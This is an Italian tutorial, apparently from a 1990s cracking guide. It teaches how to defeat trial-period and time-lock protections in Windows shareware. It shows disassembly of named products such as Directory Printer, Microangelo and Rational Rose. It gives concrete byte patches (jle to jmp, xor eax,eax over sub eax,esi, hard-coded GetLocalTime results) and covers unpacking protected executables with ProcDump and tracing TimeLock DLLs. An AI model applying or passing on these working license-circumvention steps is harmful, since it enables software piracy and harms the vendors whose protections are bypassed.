_a$ = -4
_funzione_if PROC NEAR
; Line 8
      push  ebp
      mov   ebp, esp
      push  ecx
; Line 9
      mov   DWORD PTR _a$[ebp], 0
; Line 11
      cmp   DWORD PTR _a$[ebp], 1
      jne   SHORT $L118
; Line 12
      call  _dump_funct
$L118:
; Line 15
      cmp   DWORD PTR _a$[ebp], 1
      jge   SHORT $L119
; Line 16
      call  _dump_funct
; Line 17
      jmp   SHORT $L120
$L119:
; Line 18
      call  _dump_funct
$L120:
; Line 21
      push  OFFSET FLAT:_str2
      push  OFFSET FLAT:_str1
      call  _strcmp
      add   esp, 8
      test  eax, eax
      je    SHORT $L121
; Line 22
      call  _dump_funct
$L121:
; Line 24
      push  OFFSET FLAT:_str2
      push  OFFSET FLAT:_str1
      call  _strcmp
      add   esp, 8
      test  eax, eax
      jne   SHORT $L122
; Line 25
      call  _dump_funct
$L122:
; Line 27
      push  OFFSET FLAT:_str2
      push  OFFSET FLAT:_str1
      call  _strcmp
      add   esp, 8
      test  eax, eax
      je    SHORT $L123
; Line 28
      call  _dump_funct
; Line 29
```

```
      jmp   SHORT $L124
$L123:
; Line 30
      call  _dump_funct
$L124:
; Line 33
      mov   esp, ebp
      pop   ebp
      ret   0
_funzione_if ENDP
_TEXT ENDS
END
```

Il primo if corripondente a

```
if(a == 1) {
      dump_funct();
}
```

Viene tradotto con

```
; Line 11
      cmp   DWORD PTR _a$[ebp], 1
      jne   SHORT $L118
; Line 12
      call  _dump_funct
$L118:
```

Questo aiuta a capire che quando ci si trova dinanzi a costrutti che utilizzano ebp ed esp è probabile che si riferiscano a variabili automatiche gestite nello stack.
Esistono casi in cui una prima analisi potrebbe indurre a pensare che forse è il caso di lasciare perdere.
Se per trovare il codice di un programma per formattare un sorgente C pretende 3 settimane di lavoro ...
Che cosa potrebbe indurre a desistere ?
Come avevo detto prima nella fase iniziale bisognerebbe cercare di ricavare più informazioni possibili sul target.
In questo caso, già solo richiedendo informazioni con QuickViewPlus, viene mostrata una tabella di questo tipo :

...... Qui sono state troncate ....

Export Table

Name:	**CCRWINN.EXE**
Characteristics:	**00000000**
Time Date Stamp:	**00000000**
Version:	**0.00**
Base:	**00000001**
Number of Functions:	**00000006**
Number of Names:	**00000006**

Ordinal	Entry Point	Name
0002	00001074	@ExecWait@EnumWndProc$qqsp6HWND__l
0001	00009974	@TMainWindow@DDECallBack$qqsususp7HCONV__p5HSZ__t4p10HDDEDATA__ulul
0004	0007bad4	@__lockDebuggerData$qv
0005	0010429c	@__unlockDebuggerData$qv
0003	000d5d88	__DebuggerHookData
0000	000d5db0	__GetExceptDLLinfo

ÄmP

Ordinal	Function Name
616d	phore error
6f40	P
6f50	P
6f6a	P
6f8d	P
6fa9	P
6fc5	P
6fde	P
0050	ùoP
0050	____________
005a	
00d4	
0130	
006e	Tue
4d00	onday
6164	y
6164	y
6265	
4d00	ay
5300	ep
6365	
0079	March
006c	May
7541	gust
626d	er
766f	ember
626d	er
50cc	Q
0000	
7494	A

mP

Ordinal	Function Name
6547	tTickCount
4665	ile
736f	eHandle
736c	trlenA
6c47	obalSize
0000	
6f6d	ryStatus
0000	_lopen
416c	lloc
00	GetVersion

Notice

This PE File is not in Standard Windows Format.
All Data References will be terminated.

OK

Beh!
Già quelle funzioni tipo @__lockDebuggerData$qv mi fanno indugiare.
Poi il macello sulle funzioni importate mi fanno pensare che effettivamente il lockDebuggerData faccia qualche cosa.
Inoltre l'uso di certi programmi che eseguono la decodifica si piantano brutalmente.
In ogni caso quando vengono segnalati messaggi di questo tipo prima di piangere provate a seguire una procedura come quella che segue.

Il programma in questione, cercando di caricarlo con WDASM, segnala il seguente messaggio.
Caricate PROCDUMP (guardate il capitolo sul software) e selezionate il pulsante UNPACK.
Specificate il nome del programma andandolo a cercare e selezionandolo dalla lista.
Quando vi viene mostrata la finestra in cui selezionare il metodo di packing selezionate la prima relativa al metodo SCONOSCIUTO (a meno che non lo conosciate).
PROCDUMP caricherà il programma e vi segnalerà tramite una MessageBox di premere un tasto a caricamento avvenuto.
PROCDUMP inizierà a lavorare mostrandovi a video lo scorrere dei bytes analizzati.
Ricordatevi quanto appena detto ovvero di premere il pulsante solo dopo che il programma è stato avviato da PROCDUMP.
Terminato il lavoro di decodifica, se andato a buon esito, vi verrà richiesto di assegnare un nome al file di cui eseguire il dump.
Il file deve avere estensione .EXE in quanto, come il file che lo ha generato, è il file eseguibile con le informazioni normalizzate.
Prima di continuare provate a fare la prova più semplice di tutte, ovvero provate a lanciare il programma per vedere se non ci sono problemi.
Sicuramente il file avrà una dimensione diversa.
Il più grosso è quello creato da PROCDUMP (nel mio caso).
Come abbiamo detto all'inizio dell'argomento WDASM segnalava che il file aveva il PE in un formato non standard e cercando di visualizzare le funzioni importate ne venivano mostrate pochissime.
Adesso caricando il programma con WDASM e visualizzando le funzioni importate vengono mostrate tutte (questa è solo l'inizio ma si vedono già funzioni importanti per verificare i codici ... in questo caso infatti viene letto dal registro ☺).

```
advapi32.RegCloseKey
advapi32.RegCloseKey
advapi32.RegCreateKeyExA
advapi32.RegDeleteValueA
advapi32.RegFlushKey
advapi32.RegOpenKeyExA
advapi32.RegOpenKeyExA
advapi32.RegQueryValueExA
advapi32.RegQueryValueExA
advapi32.RegSetValueExA
comctl32.ImageList_Add
```

Questo invece era l'inizio (e quasi la fine) del programma non processato da PROCDUMP).

```
comctl32.ImageList_BeginDrag
comctl32.ImageList_Create
comctl32.ImageList_Destroy
comctl32.ImageList_DragEnter
comctl32.ImageList_DragLeave
comctl32.ImageList_DragMove
comctl32.ImageList_DragShowNolock
comctl32.ImageList_Draw
comctl32.ImageList_DrawEx
```

```
KERNEL32.BeginUpdateResourceA
KERNEL32.CloseHandle
KERNEL32.ConnectNamedPipe
KERNEL32.ContinueDebugEvent
KERNEL32.CreateFileA
```

```
KERNEL32.CreateFileMappingA
KERNEL32.CreateMutexA
KERNEL32.CreateSemaphoreA
KERNEL32.DebugActiveProcess
KERNEL32.DeleteCriticalSection
KERNEL32.DeleteFileA
KERNEL32.DeviceIoControl
KERNEL32.EndUpdateResourceA
KERNEL32.EnterCriticalSection
```

Generalmente un sistema TimeLock è composto da più file tra i quali ne esiste uno in formato normale che contiene le (o la) funzioni che decodificano le altre.
Se si cerca di leggere le informazioni di un file prima che questo venga decodificato sicuramente verranno fuori amenità o in ogni caso un numero sicuramente inferiore all'effettivo.
Alcuni programmi che effettuano il dump servono appunto a ricreare le testata dei programmi dopo che il software originale lo ha decodificato.
Nella parte legate al sistema di TimeLock chiamato VBOX approfondiremo il discorso sui PE codificati e sul metodo di attendere che il programma stesso esegua la decodifica per poi creare dei DUMP con programmi come SoftDump, ProcDump o similia.
Una nota particolare riguarda la scelta del debugger.
Spesso un programma utilizza la libreria relativa alla macchina virtuale di visual basic o comunque è scritto in un linguaggio con funzioni proprie che rendono difficile l'interpretazione delle routines per la serializzazione.
Quando vedete che un programma importa le funzioni da MSVBVM60.DLL allora potete stare sicuri che questa libreria a sua volta richiama le varie funzioni API di Windows presenti in Gdi32.DLL, USER32.DLL ecc.
Potendo intercettare queste funzioni potreste cercare le varie GetDlgItemTextA ecc.
Debugger come WDASM vi mostrano una finestra in cui compaiono le funzioni importate e l'unico modo per settare dei breakpoint sull'intercettazione di queste è quello di clickare su quelle desiderate.
Potreste usare il metodo di importare voi le librerie settando poi degli abbinamenti con programmi attivi, ma non saprei dirvi con precisione se è una tecnica utilizzabile sempre.
Debugger come SoftIce possono eseguire l'import da WINICE.DAT delle DLL contenenti le varie funzioni GetDlgItemTextA ecc. per cui se la funzione di VB 6.0 utilizzerà quella allora l'intercettazione potrà essere fatta semplicemente.
Ecco la copia di un winice.dat in cui sarà sufficente eliminare il rem dinanzi alla DLL per eseguire l'import.

```
; WINICE.DAT
; (SIW95\WINICE.DAT)
; for use with SoftICE Version 3.2 (Windows 95)
; 14 July 1997
; ***************************************************************************
; If your have MORE than 32MB of physical memory installed, change
; the PHYSMB line to the correct # of Megabytes.
; If you have LESS than 32MB you can save a bit of memory by
; specifying the correct # of Megabytes
; ***************************************************************************
; ***** Examples of sym files that can be included if you have the SDK *****
;     Change the path to the appropriate drive and directory
;LOAD=c:\windows\system\user.exe
;LOAD=c:\windows\system\gdi.exe
;LOAD=c:\windows\system\krnl386.exe
;LOAD=c:\windows\system\mmsystem.dll
;LOAD=c:\windows\system\win386.exe
; ***** Examples of export symbols that can be included *****
;     Change the path to the appropriate drive and directory
;EXP=c:\windows\system\vga.drv
;EXP=c:\windows\system\vga.3gr
;EXP=c:\windows\system\sound.drv
;EXP=c:\windows\system\mouse.drv
;EXP=c:\windows\system\netware.drv
```

```
;EXP=c:\windows\system\system.drv
;EXP=c:\windows\system\keyboard.drv
;EXP=c:\windows\system\toolhelp.dll
;EXP=c:\windows\system\shell.dll
;EXP=c:\windows\system\commdlg.dll
;EXP=c:\windows\system\olesvr.dll
;EXP=c:\windows\system\olecli.dll
;EXP=c:\windows\system\mmsystem.dll
;EXP=c:\windows\system\winoldap.mod
;EXP=c:\windows\progman.exe
;EXP=c:\windows\drwatson.exe
; ***** Examples of export symbols that can be included for Windows 95 *****
;     Change the path to the appropriate drive and directory
;EXP=c:\windows\system\advapi32.dll
;EXP=c:\windows\system\shell232.dll
;EXP=c:\windows\system\comctl32.dll
;EXP=c:\windows\system\crtdll.dll
;EXP=c:\windows\system\version.dll
;EXP=c:\windows\system\netlib32.dll
;EXP=c:\windows\system\msshrui.dll
;EXP=c:\windows\system\msnet32.dll
;EXP=c:\windows\system\mspwl32.dll
;EXP=c:\windows\system\mpr.dll
```

In altre parole un linguaggio xx potrebbe avere delle funzioni sue per leggere un campo d'edit.
Se la libreria si supporta sulle API di Windows significherà che questa utilizzerà appunto queste ultime per l'esecuzione della funzionalità.
Nel capitolo relativo alle librerie esiste un ampliamento del discorso relativo al MSVBVM60.DLL.
Potremmo avere una funzione LeggiEditField() che si supporta su GetDlgItemTextA.
Se non siete specializzati nel linguaggio potete solo andare ad intuito per capire quali funzioni svolgono un certo compito e generalmente lo si può fare solo dal nome.
Potendo intercettare alla base la funzione su cui si basa allora semplificherete il tutto.

CAMBIO DEI PARAMETRI DELLA DATA DI EXPIRE

Se partiamo dal presupposto che alcuni programmi controllano la data per sapere se il programma è scaduto, possiamo immaginare due possibili tecniche.
La prima parte dal presupposto che da qualche parte il programma legge la data attuale per confrontarla con quella di installazione.
Se quando installiamo il programma eseguiamo subito la modifica potremmo sperare nel corretto funzionamento di una metodologia di questo tipo.
Supponiamo che la data di installazione sia 12/09/1999.
Indipendentemente da dove si registra la data di installazione è sufficente che modifichiamo la chiamata a GetLocalTime o della funzione che il programma utilizza per leggere il tempo facendo in kodo che questa restituisca sempre la data 12/09/1999.
Prendiamo ilo programma xxxxx.exe e carichiamolo con WDASM.
Cerchiamo le funzioni che restituiscono il tempo (guardate il capitolo delle API).
Nell'esempio esiste solo GetLocalTime.

```
......
kernel32.GetLocaleInfoA
kernel32.GetLocalTime
kernel32.GetLogicalDrives
......
```

Settiamo un breakpoint e attendiamo che si fermi.

Nell’istante in cui si attiva il breakpoint possiamo vedere la chiamata alla funzione.

```
API void Arg00 = GetLocalTime(Arg01)
API Address=00405A68, API Return Address=00408465
  Arg01 = (LPSYSTEMTIME) 0069fc6c
     Arg01->st.wYear = 49024 decimal
     Arg01->st.wMonth = 16609 decimal
     Arg01->st.wDayOfWeek = 31342 decimal
     Arg01->st.wDay = 68 decimal
     Arg01->st.wHour = 64640 decimal
     Arg01->st.wMinute = 105 decimal
     Arg01->st.wSecond = 31356 decimal
     Arg01->st.wMilliseconds = 68 decimal

RESULT for API GetLocalTime
  Arg00 = (void)
  Arg01 = (LPSYSTEMTIME) 0069fc6c
     Arg01->st.wYear = 1999 decimal
     Arg01->st.wMonth = 9 decimal
     Arg01->st.wDayOfWeek = 4 decimal
     Arg01->st.wDay = 16 decimal
     Arg01->st.wHour = 0 decimal
     Arg01->st.wMinute = 56 decimal
     Arg01->st.wSecond = 47 decimal
     Arg01->st.wMilliseconds = 680 decimal
```

Il codice mostrato è il seguente :

```
* Reference To: kernel32.GetLocalTime, Ord:0000h
                                  |
:00408460 E803D6FFFF              Call 00405A68
:00408465 668B4C240E              mov cx, word ptr [esp+0E]
:0040846A 668B54240A              mov dx, word ptr [esp+0A]
:0040846F 668B442408              mov ax, word ptr [esp+08]
:00408474 E81FFEFFFF              call 00408298
```

I registri cx, dx, ax contengono (da notare che oggi al mio computer è il 16/9/99)

```
EAX=000007CF      ->    AX=07CF     ->    DECIMALE 1999
ecx=ca0a0010      ->    CX=0010     ->    DECIMALE 16
edx=bffc0009      ->    DX=0009     ->    DECIMALE 9
```

Se la data di installazione del programma fosse quella odierna potrei settare delle costanti modificando le istruzione mov cx, word ptr [esp+0E] ecc. con

```
MOV   CX, 0010
MOV   AX, 07CF
MOV   DX, 0009
```

Il secondo metodo è quello invece di andare a vedere dove viene fatto il controllo sul numero di giorni.
La ricerca può avvenire anche cercando la segnalazione del program EXPIRED.

```
:00447AA8 837DE81E                cmp dword ptr [ebp-18], 0000001E
:00447AAC 7E40                    jle 00447AEE
:00447AAE 6A30                    push 00000030

* Possible StringData Ref from Code Obj ->"Expiration Notice"
                                  |
:00447AB0 68847D4400              push 00447D84
```

```
* Possible StringData Ref from Code Obj ->"Your trial period for Directory "
                                        ->"Printer has "
                                  |
:00447AB5 68987D4400              push 00447D98
:00447ABA 8B45FC                  mov eax, dword ptr [ebp-04]
:00447ABD E83AB2FDFF              call 00422CFC
:00447AC2 50                      push eax

* Reference To: user32.MessageBoxA, Ord:0000h
                                  |
:00447AC3 E8F0E5FBFF              Call 004060B8
:00447AC8 8B45FC                  mov eax, dword ptr [ebp-04]
:00447ACB 8B8064020000            mov eax, dword ptr [eax+00000264]
:00447AD1 33D2                    xor edx, edx
```

Se il programma arrivasse a 00447AC3 (4 righe qui sopra) segnalerebbe il messaggio di EXPIRED per cui nella seconda riga sarà sufficiente sostituire il salto jle 00447AEE con un JMP fisso, salto che gli farebbe saltare il messaggio di expired e quindi ....

```
:00447AAC EB40                          jmp 00447AEE
:00447A9D call DIRPRINT.00402994
   :00447AA2 sub ebx, eax
   :00447AA4 inc ebx
   :00447AA5 mov dword ptr [ebp-18], ebx
   :00447AA8 cmp dword ptr [ebp-18], 0000001E
BP*:00447AAC jmp DIRPRINT.00447AEE
```

This is a 30-day evaluation version and will stop functioning after that period if not registered.
You are now on day 72 of the trial period.

Please read the on-line help or the README.TXT file for information on registration.

OK

Dopo quest’ultima istruzione premete F9 e lasciate eseguire il programma.
Beh! Dovrete solo poter sopportare il non senso del messaggio che vi dice : “Questa è una versione a 30 giorni di prova ... voi siete al 72 esimo giorno dei 30 ...”.

FUNZIONI DI FORMATTAZIONE DEL TESTO

Alcune volte vengono mostrate, dal programma in analisi, delle stringhe che sono state chiaramente formattate da funzioni quali wsprintf() ecc.

nator- untitled (Evaluation day 22 of 30)

Andando a cercare questa funzione si trova il codice che segue.

```
:004067C4 E8E7810100              Call 0041E9B0
:004067C9 A1E8CE4200              mov eax, dword ptr [0042CEE8]
:004067CE 83C0E2                  add eax, FFFFFFE2
:004067D1 50                      push eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004067A1(U), :004067C0(U)
|
:004067D2 6860A34200              push 0042A360
:004067D7 6820CF4200              push 0042CF20

* Reference To: USER32.wsprintfA, Ord:02ACh
```

```
                                  |
:004067DC FF15BC524200            Call dword ptr [004252BC]
:004067E2 A1E8CE4200              mov eax, dword ptr [0042CEE8]
:004067E7 83C40C                  add esp, 0000000C
```

Prima della chiamata a wsprintf ci sono tre push che servono a passare i parametri.
Le due push con indirizzo fisso equivalgono alla stringa :

(Evalutation day %d of %d)

Il valore dei giorni di attivazione viene passato tramite il registro EAX.
Come è possibile vedere prima che avvenga il push di EAX il valore di EAX viene settato con il valore contenuto all'indirizzo 0042CEE8.
Questo significa che questo indirizzo viene utilizzato per mantenere i giorni di attivazione.
Andiamo a cercare con la funzione di ricerca dove viene assegnato questo valore con qualche istruzione tipo :

mov dword ptr [0042CEE8], ... qualche valore

Provate a cercare anche solo la stringa 0042CEE8.
L'unica assegnazione a quell'indirizzo è stata trovata a 004066E9 :

```
:004066DA E851FEFFFF              call 00406530
:004066DF A3E4A24200              mov dword ptr [0042A2E4], eax
:004066E4 2BC6                    sub eax, esi
:004066E6 40                      inc eax
:004066E7 3BC3                    cmp eax, ebx
:004066E9 A3E8CE4200              mov dword ptr [0042CEE8], eax
:004066EE 7E05                    jle 004066F5
:004066F0 BD01000000              mov ebp, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004066EE(C)
|
:004066F5 68C0AF4200              push 0042AFC0
```

A questo punto potremmo solo provare a settare un altro valore.
Il problema ora è trovare il modo per inserire dei codici che non vadano a modificare con la loro lunghezza i codici operativi già esistenti.
Ad esempio l'istruzione SUB EAX, ESI ha come lunghezza operativa 2 bytes (2BC6).
Ho scelto quell'istruzione perchè modifica solo EAX.
L'istruzione XOR EAX, EAX ha la lunghezza del codice operativo di 2 bytes che va giusto bene.
Il codice operativo è :

31C0   XOR EAX, EAX

In pratica dopo questa istruzione messa al posto di SUB EAX,ESI EAX varrà 0 per cui il successivo INC EAX incrementerà EAX portandolo a 1.
Se la teoria funziona all'indirizzo 0042CEE8, che contiene il numero di giorni di attivazione, troveremo 1 e quindi il programma crederà di essere attivo da solo 1 giorno.
Proviamo a fare la patch e lanciamo il programma.
La patch :

:004066E4 31C0   xor eax, eax

modificherà il codice in :

```
:004066D1 push eax
   :004066D2 mov byte ptr [esp+16], bl
```

```
   :004066D6 mov byte ptr [esp+17], bl
   :004066DA call MUEDIT.00406530
   :004066DF mov dword ptr [0042A2E4], eax
BP*:004066E4 xor eax, eax                    <-----------QUI
   :004066E6 inc eax
   :004066E7 cmp eax, ebx
BP*:004066E9 mov dword ptr [0042CEE8], eax
   :004066EE jle 004066F5
   :004066F0 mov ebp, 00000001
```

Come vedete la lunghezza del codice operativo è giusta, uguale come lunghezza a quella di prima, per cui il codice non sfasa.
Ora premiamo F9 e .....
Chiaramente dovremo intercettare il settaggio prima che venga fatto qualsiasi controllo atto a definire l' EXPIRED del codice.

Comunque sarà probabile che se viene mantenuta un variabile in memoria i controlli avvengano in corrispondenza dell'assegnazione a questa.
Questo metodo non vale se il numero di giorni viene solo calcolato e mantenuto in variabili temporanee (locali) usate sull'istante.
I programmi che mantengono nel caption il numero dei giorni è probabile che invece tengano la variabile globale e che quindi il metodo appena visto sia valido.

DLL CHIAMATE E RICERCA DELLE FUNZIONI

Relativamente alle funzioni di alcune DLL bisogna osservare alcuni comportamenti legati ad alcune di queste.
Certe DLL come ad esempio KERNEL32.DLL vengono lette in aree di memoria condivise e quindi trattate come read only.
In queste zone non è possibile settare dei breakpoints e tantomeno andare a modificare la memoria.
In ogni caso è possibile per molte altre DLL andare a inserire dei breakpoint ed eseguire modifiche.
Quand'è che viene utile gestire librerie e DLL ?
Quando esistono funzioni sufficientemente generiche da potere essere utilizzate in più di una circostanza allora è possibile inserire in una DLL tali funzioni.
Esistono dei software composti da più file eseguibili.
Prendiamo ad esempio Microangelo che serve a gestire icone e librerie di icone.
La versione shareware quando viene attivata mostra la seguente maschera.
Il pacchetto comunque è composto da quattro o cinque programmi i quali eseguono il controllo per vedere se i giorni del dimostrativo non sono stati superati.
Sicuramente le funzioni che eseguono il controllo sono state inserite dentro ad una DLL e non duplicate dentro a ciascun file.
In questo caso attivando ciascun programma ed andando a vedere si nota che c'è sempre la dll E:\MICROANGELO\MUAPP.DLL attivata in memoria.
In WDASM esiste una finestrella che mostra le DLL attive.

E’ sufficente selezionare una DLL dalla lista e clickarci sopra per avere proposta la domanda se si vuole disassemblarla.
Come avevo già detto precedentemente, esistono anche dei marcatori, visibili anche nel disegno qui a fianco, che permettono di settare dei breakpoint ogni volta che il programma chiama una DLL e ogni volta che la scarica dalla memoria.
Da questo bisognerebbe apprendere la logica dei programmi demo ad eseguibili multipli.
Quando vi accoirgete che un programma viene distribuito con diversi file eseguibili e che ciascuno di questi esegue il controllo del tempo di attivazione o quello che lo limita a demo allora sicuramente le funzioni sono inserite in qualche DLL.
Caricate il programma e mentre questo è fermo sulla maschera che vi segnala quanti giorni avete a disposizione, lanciate TaskManager o qualsiasi utility che vi mostri quali file e dll sono attive in memoria.
Accertatevi dal percorso o da qualche elemento che vi permetta di capirlo quali o quale dll è relativa al programma interessato.
A questo punto prendete ScanBin o un altro programma come QuickView che vi mostri i dati di quella DLL tra cui funzioni esportate ecc.
Se il nome della funzione è abbastanza esplicito da farvi capire che si tratta della funzione di controllo allora sapete già dove andare a mettere le mani.
In caso contrario caricate WDASM o SoftIce e dopo aver disassemblato il programma andate a leggere la DLL cercando di mettergli dentro qualche breakpoint.
Sicuramente il numero dei giorni verrà letto in qualche voce di registro o da qualche file.
In ogni caso sicuramente deve esserci qualche chiamata a funzioni che restituiscano la data corrente.
Chiaramente gli algoritmi sono abbastanza complessi per evitare che l’utente possa portare indietro l’orologio di sistema o che faccia qualche cosa per imbrogliare il software.
Generalmente i software devono proteggersi contro il tempo che stà per scadere ma anche contro le reinstallazioni.
I software memorizzano sempre due date ovvero quella d’installazione e quella in cui un software è scaduto in modo tale che non possa più essere installato.
Possono esserci due posti in cui memorizzare tali dati.
Il primo è in un directory comune a tutti i sistemi e precisamente la windows o la windows\system.
Il secondo posto è il registro di windows.
Parlando di files dobbiamo ricordarci anche dei file .INI per cui se ad un certo punto dovessimo escludere che le informazioni vengono messe nel registro dovremmo non solo cercare le funzioni OpenFile ecc. ma anche quelle legate alla scrittura e lettura dentro a files .INI.
Comunque questo argomento è trattato nell’apposito capitolo.
I file in cui vengono memorizzate le informazioni relative alle installazioni dei programmi sono in genere con il nome che viene creato con:

parte fissa + parte random . estensione

Ad esempio nel mio sistema continuano a crescere i files.

Questi files non sono veri ocx per cui potrebbero essere ....
Comunque il sugo di tutto è che come target delle nostre ricerche sui sistemi time bombed possono essere adottati anche i metodi per la lettura delle informazioni relative alla data di sistema.
Con queste informazioni partiamo sempre dal punto in cui le informazioni sono memorizzate dentro al registro.
Se non troviamo funzioni di lettura ed interrogazione di questo proviamo andare a cercare se esistono altre funzioni legate all'apertura e lettura di files.
Eravamo partiti dal discorso delle DLL associate ad un programma.
Nei disassemblatori esiste la possibilità di andare ad analizzare una DLL letta in associazione al programma che seguiamo.
Potremmo però fare un altra cosa e precisamente leggere a parte una DLL ed associarla ad un programma attivo.
Per fare questo possiamo seguire la seguente procedura.
L'opzione visibile qui a fianco 'Attach to an active process' permette di associare il modulo letto ad un processo attivo in quell'istante.
Ad esempio quando si legge il file eseguibile ROSE.EXE, il quale testa il numero di giorni, ci si può notare che vengono lette anche le DLL :

ADVAPI32.DLL
COMCTL32.DLL
COMDLG32.DLL
GDI32.DLL
IMM32.DLL
KERNEL32.DLL
MPR.DLL
MSVCRT.DLL
MSVCRT20.DLL
MSWSOCK.DLL
NETAPI32.DLL
NETBIOS.DLL
OLE32.DLL
OLEAUT32.DLL
OLEDLG.DLL
RSCNDC22.DLL
RSCNPB22.DLL
SHELL32.DLL
SHLWAPI.DLL
TL31INJ.DLL
USER32.DLL
WININET.DLL
WINSPOOL.DRV
WS2_32.DLL
WS2HELP.DLL
WSOCK32.DLL

TL31INJ.DLL, RSCNPB22.DLL e RSCNDC22.DLL potrebbero essere legate a questa funzionalità (senza il potrebbero visto che si tratta delle DLL che gestiscono il timelock)
Analizzandole con ScanBin o con QuickView viene fatto vedere che la prima RSCNDC22.DLL richiama la seconda direttamente.:

```
DLL used : e:\Programmi\Rational\Rscndc22.dll
============================================
Direct calls
-------------------------------------------------------------
COMDLG32 = c:\Windows\SYSTEM\COMDLG32.DLL
GDI32    = c:\Windows\SYSTEM\GDI32.DLL
KERNEL32 = c:\Windows\SYSTEM\KERNEL32.DLL
RSCNPB22 = e:\Programmi\Rational\Rscnpb22.dll
USER32   = c:\Windows\SYSTEM\USER32.DLL

Undirect calls
-------------------------------------------------------------
ADVAPI32 = c:\Windows\SYSTEM\ADVAPI32.DLL
COMCTL32 = c:\Windows\SYSTEM\COMCTL32.DLL
SHELL32  = c:\Windows\SYSTEM\SHELL32.DLL
SHLWAPI  = c:\Windows\SYSTEM\SHLWAPI.DLL
```

La DLL esporta   queste due funzioni :

```
Exported functions : e:\Programmi\Rational\Rscndc22.dll
======================================================
    0 ebCreateDebuggerA
    1 ebCreateDebuggerW
```

e ne importa un certo numero che per motivi di spazio non riporto.
Tra le funzioni importate comunque non risultano quelle legate alla gestione del registro.
Sicuramente il caso riportato non si adatta alla spiegazione di un caso semplice in cui le ricerca delle funzioni di lettura della data attuale viene fatta alla luce del sole.
Nel caso di sistemi che adottano i metodi TimeLock o Vbox bisogna in qualche modo superare lo scoglio relativo al fatto che solo alcune parti delle DLL sono in chiaro.
Gran parte di queste sono codificate o packate per cui per riuscire a rintracciare tali funzioni di lettura della dataq bisogna o attendere che la parte che esegue l'unpack funzioni ed in ogni caso bisognerà utilizzare i programmi idonei per eseguire il dump.
Alcune volte mi innervosisco per il fatto che i testi relativi ai sistemi di sprotezione che si trovano i rete si fermano tutti al fatto di rintracciare la fatidica GetDlgItemText.
Sinceramente è almeno un anno che non riesco a trovare un sistema che permetta di rintracciare la funzione di serializzazione mediante la ricerca di questa fnzione.
A questo punto considerando che nel file ROSE.EXE non sono utilizzate neppure li non rimane, prima di escludere che possano essere memorizzate informazioni dentro al registro, che vedere se sono utilizzate dentro alla seconda DLL.
Neppure in questa ci sono riferimenti alle funzioni legate al registro.
Vedremo tra poco che queste funzioni sono nella terza DLL.
Supponendo che questa terza DLL non esista dovremmo a questo punto comunque pensare che il programma deve essere in grado di capire se è già stato installato.
Se le informazioni fossero memorizzate dentro ad un file presente nella directory del programma, questo verrebbe eliminato con il delete della directory del programma.
Sicuramente il file dovrà essere presente dentro ad un file nella directory di Windows o al limite dentro la system.

Ora si tratta di stabilire se il file è un .INI oppure un file normale.
Se si tratta di un file.INI allora potremo affidarci al gruppo di funzioni del tipo Get/WriteProfile*, Get/WritePrivateProfile* (vedi capitolo sulle API Windows).
In caso di files allora sicuramente entreranno in ballo le funzioni legate al reperimento del path di Windows e Windows\System.

KERNEL32   285 GetSystemDirectoryA
KERNEL32   286 GetSystemDirectoryW
KERNEL32   316 GetWindowsDirectoryA
KERNEL32   317 GetWindowsDirectoryW

Le funzioni precedenti sono state viste da ScanBin nella seconda DLL di RationalRose.
La prima DLL letta in WDASM mostra tra le funzioni importate le seguenti :

RSCNPB22.ebClearBreakpoint
RSCNPB22.ebClearBreakpointEx
RSCNPB22.ebClearBreakpointsEx

Già le prime istruzioni di Rational Rose non lasciano sperare nulla di buono.

```
:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
```

Dalle istruzioni iniziali però risulta anche la chiamata ad una funzione dentro alla DLL TL31INJ.DLL.
Infatti questa DLL era listata tra quelle attive all'attivazione di ROSE.EXE.
Anche qui attiviamo ScanBin e vediamo quali meraviglie contiene.
In questa DLL troviamo loe funzionbi che vanno aleggere dentro al registro.

```
Imported functions : e:\Programmi\Rational\tl31inj.dll
======================================================
........
ADVAPI32   301 RegOpenKeyA
ADVAPI32   302 RegOpenKeyExA
ADVAPI32   309 RegQueryValueA
ADVAPI32   310 RegQueryValueExA
........
```

Il codice, indipendemente da quello che fa la funzione, è il seguente.

```
:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C
```

Come potete vedere esiste tra le prime istruzioni la chiamata al sistema della protezione.
L'indirizzo della seconda call è specificato in eax il cui valore è sicuramente settato dalla funzione chiamata precedentemente.

Nel caso in cui il tempo di prova sia superato l'indirizzo della call in eax è relativo a quello di un ExitProcedure.
Se non fosse scaduto sicuramente sarebbe stato quello di un entry point giusto.
In condizioni normali, se si fosse analizzato e visto dove veniva inviata la call, appena installato il software magari s sarebbe potuta scrivere una patch cambiando la prima call con quella giusta.
Ora che il software è scaduto si può solo seguire la DLL e vedere dove è memorizzata la data.
La DLL quindi deve essere caricata e debuggata.
E qui la vita si complica in quanto viene fatto all'interno un gioco simile a quello che avevo mostrato con i puntatori a funzione in cui in un array veniva messo il codice esadecimale di istruzioni assembler e poi l'indirizzo di questo array veniva, mediante un cast, assegnato ad un puntatore a funzione.
In questo caso vengono inseriti codici ed indirizzi dentro allo stack e successivamente l'indirizzo dello stack viene inserito come vettore di un interrupt.
Con precisione questo indirizzo viene salvato all'indirizzo fs:00000000. Riprendiamo il codice di prima.

```
:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C
```

Tramite le finestre di watch di WDASM diamo un occhiata a come si trova lo stack prima della call (a fianco ho inserito il push che lo ha generato).

```
[esp+00000000] - e1f34295  .B..     ←- :00955016 push E1F34295
[esp+00000004] - 63b51c5c  \..c     ←- :00955011 push 63B51C5C
[esp+00000008] - e6b0a125  %...     ←- :0095500C push E6B0A125
[esp+0000000C] - 00000000  ....     ←- :00955008 push [esp+0C]
